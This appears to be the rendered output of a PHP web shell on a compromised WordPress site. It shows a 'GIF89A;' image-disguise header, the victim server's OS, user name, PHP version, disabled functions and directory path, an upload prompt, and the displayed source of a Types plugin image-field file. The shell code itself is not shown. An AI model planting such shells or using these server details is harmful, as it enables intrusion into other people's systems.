GIF89A;
Server : Microsoft-IIS/10.0 System : Windows NT HMW9050 6.2 build 9200 (Unknow Windows version Standard Edition) i586 User : fatorc ( 0) PHP Version : 5.3.28 Disable Function : escapeshellarg, escapeshellcmd, exec, passthru, proc_close, proc_open, shell_exec, system, dl, popen, php_check_syntax, php_strip_whitespace, symlink, link, openlog, apache_child_terminate Directory : e:/home/fatorc/Web/wp-content/plugins/types/library/toolset/types/includes/fields/ |
Upload File : |
<?php /** * Types-field: Image * * Description: Displays a file (image) upload or input to the user. * * Rendering: Raw DB data (image URI) or HTML formatted image. * * Parameters: * 'raw' => 'true'|'false' (display raw data stored in DB, default false) * 'output' => 'html' (wrap data in HTML, optional) * 'show_name' => 'true' (show field name before value e.g. My date: $value) * 'alt' => alternative text e.g. 'My image' * 'title' => hover text e.g. 'My image' * 'size' => 'thumbnail'|'medium'|'large'|'full' (WP predefined sizes) * 'width' => image width e.g. 300 (overriden if 'size' is specified) * 'height' => image height e.g. 100 (overriden if 'size' is specified) * 'proportional' => 'true'|'false' (overriden if 'size' is specified) * 'url' => 'true'|'false' - When true it will output the url of the image instead of the img tag. Works with the size parameter to output the url of the re-sized image * * Example usage: * With a short code use [types field="my-image"] * Output url of thumbnail image [types field="my-image" size="thumbnail" url="true"] * In a theme use types_render_field("my-image", $parameters) * */ /** * Form data for group form. * * @return type */ function wpcf_fields_image_insert_form() { $filename = WPCF_INC_ABSPATH . '/fields/file.php'; require_once $filename; if ( function_exists( 'wpcf_fields_file_insert_form' ) ) { return wpcf_fields_file_insert_form(); } }